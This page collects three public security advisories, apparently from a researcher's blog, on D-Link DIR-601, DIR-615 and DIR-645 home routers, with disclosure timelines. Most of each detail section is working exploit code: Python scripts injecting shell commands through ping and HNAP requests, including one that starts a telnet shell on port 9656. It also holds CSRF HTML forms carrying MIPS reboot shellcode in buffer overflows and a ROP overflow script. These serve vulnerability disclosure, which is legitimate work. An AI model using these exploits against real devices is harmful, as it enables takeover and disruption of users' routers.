Tag Archives: Security

D-Link DIR-601 – Command Injection Vulnerability

## Advisory Information

Title: DIR-601 Command injection in ping functionality 
Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink)
CVE: None

Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, 
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061

However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes. 

## Product Description

DIR601 -- Wireless N150 Home Router. Mainly used by home and small offices.

## Vulnerabilities Summary

Have come across 1 security issue in DIR601 firmware which allows an attacker to exploit command injection in ping functionality. The user needs to be logged in. After that any attacker on wireless LAN or if mgmt interface is exposed on Internet then an internet attacker can execute the attack. Also XSRF can be used to trick administrator to exploit it.

## Details

Command injection in dir-601
--------------------------------------------------------------------
import socket
import struct

# CMD_INJECTION_INPINGTEST
# Just need user to be logged in and nothing else


buf = "POST /my_cgi.cgi HTTP/1.0\r\n"
buf+="HOST: 192.168.1.8\r\nUser-Agent: test\r\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection:keep-alive\r\nAccept-Encoding:gzip,deflate,sdch\r\nAccept-Language:en-US,en;q=0.8\r\nContent-Length:101\r\n\r\n"
buf+="request=ping_test&admin3_user_name=admin1;echo admin > /var/passwd1;test&admin4_user_pwd=admin2&user_type=0"+"\r\n\r\n"
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("IP_ADDRESS", 80))
s.send(buf)
--------------------------------------------------------------------

## Report Timeline

* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline.
* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor
* Nov 13, 2015: A public advisory is sent to security mailing lists.

## Credit

This vulnerability was found by Samuel Huntley

D-Link DIR-615 – Multiple Buffer Overflow Vulnerabilities

## Advisory Information

Title: Dlink DIR-615 Authenticated Buffer overflow in Ping and Send email functionality
Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink)
CVE: None

Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, 
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061

However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes.

## Product Description

DIR-615 -- Wireless N300 router from Dlink. Mainly used by home and small offices.

## Vulnerabilities Summary

I have come across 2 security issues in DIR-615 firmware which allows an attacker using XSRF attack to exploit buffer overflow vulnerabilities in ping and send email functionality.

## Details

# Ping buffer oberflow
-------------------------------------------------------------------
<!-- reboot shellcode Big Endian MIPS-->
<html>
<body>
<form id="form5" name="form5" enctype="text/plain" method="post" action="http://192.168.100.14/ping_response.cgi">
<input type="text" id="html_response_page" name="html_response_page" value="tools_vct.asp&html_response_return_page=tools_vct.asp&action=ping_test&ping_ipaddr=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%2A%BF%99%F4%2A%C1%1C%30AAAA%2A%BF%8F%04CCCC%2A%BC%9B%9CEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE%2A%BC%BD%90FFFFFFFFFFFFFFFF%3c%06%43%21%34%c6%fe%dc%3c%05%28%12%34%a5%19%69%3c%04%fe%e1%34%84%de%ad%24%02%0f%f8%01%01%01%0c&ping=ping"></td>
<input type=submit value="submit">
</form>
</body>
</html>
--------------------------------------------------------------------


# Send email buffer overflow
--------------------------------------------------------------------
<!-- reboot shellcode Big Endian MIPS-->
<html>
<body>
<form id="form5" name="form5" enctype="text/plain" method="post" action="http://192.168.100.14/send_log_email.cgi">
<input type="text" id="auth_active" name="auth_active" value="testy)%3b&log_email_from=test@test.com&auth_acname=sweetBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBIIII%2A%BF%99%F4%2A%C1%1C%30FFFF%2A%BF%8F%04DDDDCCCCBBBB%2A%BC%9B%9CCCC&auth_passwd=test1)&log_email_server=mail.google.com%3breboat%3b%23%23testAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAA&log_email_port=25&log_email_sender=ses@gmail.com%3brebolt%3b%23%23teYYYY%2A%BC%BD%90AAAAAAAAAAAAtest%3c%06%43%21%34%c6%fe%dc%3c%05%28%12%34%a5%19%69%3c%04%fe%e1%34%84%de%ad%24%02%0f%f8%01%01%01%0cAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAA&model_name=test&action=send_log_email&test=test"></td>
<input type=submit value="submit">
</form>
</body>
</html>
--------------------------------------------------------------------

## Report Timeline

* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline.
* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor
* Nov 13, 2015: A public advisory is sent to security mailing lists.

## Credit

This vulnerability was found by Samuel Huntley

D-Link DIR-645 – Multiple UPNP Vulnerabilities

## Advisory Information

Title: Dlink DIR-645 UPNP Buffer Overflow
Vendors contacted: William Brown <william.brown@dlink.com> (Dlink)
Release mode: Released
CVE: CVE-2015-2052, CVE-2015-2051

Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, 
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061

However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes.

## Product Description

DIR-645 -- Whole Home Router 1000 from Dlink. Mainly used by home and small offices.

## Vulnerabilities Summary

I have come across 2 security issues in DIR-645 firmware which allows an attacker on wireless LAN and possibly WAN network to execute command injection and buffer overflow attack against the wireless router. I have provided exploit scripts written in python that give details of the exploits. The buffer overflow does not have a payload at this time, however if you watch the exploit in a debugger, then it can be clearly seen that the payload uses ROP techniques to get to stack payload which is a bunch of C's for now on the stack. It can be replaced with any payload that works on MIPS little endian architecture.

## Details

# Command injection
-----------------------------------------------------------------
import socket
import struct

buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + 'test;telnetd -p 9656;test\r\n' + "1\r\n\r\n"
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)
-------------------------------------------------------------------


# Buffer overflow
--------------------------------------------------------------------
import socket
import struct

exploit_buffer = "POST /HNAP1/ HTTP/1.0\r\nHOST: 10.0.0.1\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ";pt;"+"B"*158
exploit_buffer+="C"*50+"Z"*46


exploit_buffer+="\xb4\x67\xb3\x2a" 

exploit_buffer+="\xd0\xeb\xb4\x2a"
exploit_buffer+="VVVV"
a
exploit_buffer+="\x7c\xba\xb1\x2a" 
exploit_buffer+="K"*16

exploit_buffer+="\x44\x3b\xb0\x2A"
exploit_buffer+="A"*36

exploit_buffer+="\xf0\x5e\xb0\x2A"  
exploit_buffer+="H"*16
 
exploit_buffer+="C"*212+"\r\n" + "1\r\n\r\n"
 
print "[+] sending exploit_bufferfer size", len(exploit_buffer)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.1", 80))
s.send(exploit_buffer)
-------------------------------------------------------------------

## Report Timeline

* Jan 22, 2015: Vulnerability found by Samuel Huntley by William Brown.
* Feb 15, 2015: Vulnerability is patched by Dlink
* Nov 13, 2015: A public advisory is sent to security mailing lists.

## Credit

This vulnerability was found by Samuel Huntley